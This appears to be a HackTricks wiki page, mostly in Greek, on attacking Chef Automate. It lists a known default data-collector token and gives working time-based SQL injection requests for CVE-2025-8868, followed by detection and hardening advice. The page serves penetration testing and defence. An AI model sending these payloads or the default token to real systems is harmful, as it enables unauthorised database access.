Chef Automate Enumeration & Attacks
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να enumerate και attack Chef Automate instances, με έμφαση σε:
- Ανακάλυψη gRPC-Gateway-backed REST endpoints και inference των request schemas μέσω validation/error responses
- Κατάχρηση του x-data-collector-token authentication header όταν υπάρχουν defaults
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) που επηρεάζει το πεδίο filters[].type στο /api/v0/compliance/profiles/search
Σημείωση: Οι backend responses που περιλαμβάνουν header grpc-metadata-content-type: application/grpc συνήθως υποδεικνύουν ένα gRPC-Gateway που γεφυρώνει REST calls προς gRPC services.
Recon: Architecture and Fingerprints
- Front-end: Συχνά Angular. Static bundles μπορούν να δώσουν hints για REST paths (π.χ., /api/v0/…)
- API transport: REST σε gRPC μέσω gRPC-Gateway
- Οι απαντήσεις μπορεί να περιλαμβάνουν grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Σώματα σφάλματος που ξεκινούν με pq: υποδεικνύουν ισχυρά PostgreSQL με τον Go pq driver
- Σημαντικά Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
Auth: Data Collector Token (x-data-collector-token)
Το Chef Automate εκθέτει έναν data collector που πιστοποιεί αιτήματα μέσω ενός αφιερωμένου header:
- Header: x-data-collector-token
- Risk: Σε μερικά περιβάλλοντα μπορεί να διατηρείται ένα default token που δίνει πρόσβαση σε προστατευμένες API routes. Γνωστό default παρατηρημένο in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Αν υπάρχει, αυτό το token μπορεί να χρησιμοποιηθεί για κλήσεις σε Compliance API endpoints που κανονικά προστατεύονται από auth. Προσπαθήστε πάντα να rotate/disable defaults κατά το hardening.
API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed endpoints συχνά leak χρήσιμα validation errors που περιγράφουν το αναμενόμενο request model.
Για το /api/v0/compliance/profiles/search, το backend περιμένει ένα body με ένα filters array, όπου κάθε στοιχείο είναι αντικείμενο με:
- type: string (filter field identifier)
- values: array of strings
Example request shape:
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
Μη έγκυρο JSON ή λάθος τύποι πεδίων συνήθως προκαλούν 4xx/5xx με υποδείξεις, και τα headers υποδεικνύουν τη συμπεριφορά του gRPC-Gateway. Χρησιμοποιήστε αυτά για να χαρτογραφήσετε πεδία και να εντοπίσετε injection surfaces.
Compliance API SQL Injection (CVE-2025-8868)
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Έλλειψη σωστής parameterization/whitelisting κατά την εισαγωγή του πεδίου type σε ένα dynamic SQL fragment (πιθανότατα χρησιμοποιείται για την κατασκευή identifiers/WHERE clauses). Κατασκευασμένες τιμές στο type αξιολογούνται από PostgreSQL.
Λειτουργικό time-based payload:
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Technique notes:
- Κλείστε την αρχική συμβολοσειρά με ένα μονό εισαγωγικό
- Συγκολλήστε ένα υποερώτημα που καλεί pg_sleep(N)
- Επανεισέλθετε στο πλαίσιο συμβολοσειράς μέσω || ώστε το τελικό SQL να παραμένει συντακτικά έγκυρο ανεξάρτητα από το πού είναι ενσωματωμένο το type
Απόδειξη μέσω διαφορικής καθυστέρησης
Στείλτε ζευγαρωμένα αιτήματα και συγκρίνετε τους χρόνους απόκρισης για να επαληθεύσετε την server-side execution:
- N = 1 δευτερόλεπτο
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
- N = 5 δευτερόλεπτα
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Observed behavior:
- Οι χρόνοι απόκρισης αυξάνονται με pg_sleep(N)
- Οι απαντήσεις HTTP 500 ενδέχεται να περιέχουν λεπτομέρειες pq: κατά τις δοκιμές, επιβεβαιώνοντας μονοπάτια εκτέλεσης SQL
Συμβουλή: Χρησιμοποιήστε εργαλείο επικύρωσης χρονισμού (π.χ., πολλαπλές δοκιμές με στατιστική σύγκριση) για μείωση θορύβου και ψευδώς θετικών.
Impact
Πιστοποιημένοι χρήστες — ή μη πιστοποιημένοι παράγοντες που καταχρώνται ένα προεπιλεγμένο x-data-collector-token — μπορούν να εκτελέσουν αυθαίρετο SQL εντός του PostgreSQL περιβάλλοντος του Chef Automate, θέτοντας σε κίνδυνο την εμπιστευτικότητα και την ακεραιότητα των προφίλ συμμόρφωσης, της διαμόρφωσης και της τηλεμετρίας.
Affected versions / Fix
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
Detection and Forensics
- API layer:
- Παρακολουθήστε κωδικούς 500 στο /api/v0/compliance/profiles/search όπου filters[].type περιέχει quotes (’), concatenation (||), ή αναφορές σε συναρτήσεις όπως pg_sleep
- Ελέγξτε τα headers απάντησης για grpc-metadata-content-type για να εντοπίσετε ροές gRPC-Gateway
- Database layer (PostgreSQL):
- Ελέγξτε για κλήσεις pg_sleep και σφάλματα κακοσχηματισμένων identifiers (συχνά εμφανιζόμενα με πρόθεμα pq: από τον Go pq driver)
- Authentication:
- Καταγράψτε και ειδοποιήστε για χρήση του x-data-collector-token, ειδικά γνωστών προεπιλεγμένων τιμών, σε όλα τα API paths
Mitigations and Hardening
- Immediate:
- Ανανεώστε/απενεργοποιήστε τα προεπιλεγμένα data collector tokens
- Περιορίστε την εισερχόμενη πρόσβαση στα data collector endpoints· επιβάλετε ισχυρά, μοναδικά tokens
- Code-level:
- Χρησιμοποιήστε παραμετροποίηση για τα queries· μην συνενώνετε ποτέ τμήματα SQL ως συμβολοσειρές
- Εφαρμόστε αυστηρή λευκή λίστα για τις επιτρεπόμενες τιμές type στον server (enum)
- Αποφύγετε τη δυναμική κατασκευή SQL για identifiers/ρήτρες· εάν απαιτείται δυναμική συμπεριφορά, χρησιμοποιήστε ασφαλές quoting για identifiers και ρητές λευκές λίστες
Practical Testing Checklist
- Ελέγξτε αν το x-data-collector-token γίνεται αποδεκτό και αν το γνωστό προεπιλεγμένο λειτουργεί
- Χαρτογραφήστε το schema αιτημάτων του Compliance API προκαλώντας validation errors και διαβάζοντας error messages/headers
- Δοκιμάστε για SQLi σε λιγότερο προφανή πεδία τύπου “identifier-like” (π.χ., filters[].type), όχι μόνο σε πίνακες τιμών ή πεδία κειμένου κορυφαίου επιπέδου
- Χρησιμοποιήστε τεχνικές βάσει χρόνου με concatenation για να διατηρήσετε το SQL συντακτικά έγκυρο σε διαφορετικά contexts
References
- Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)
- Timing trace (XBOW)
- CVE-2025-8868
- gRPC-Gateway
- pq PostgreSQL driver for Go
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

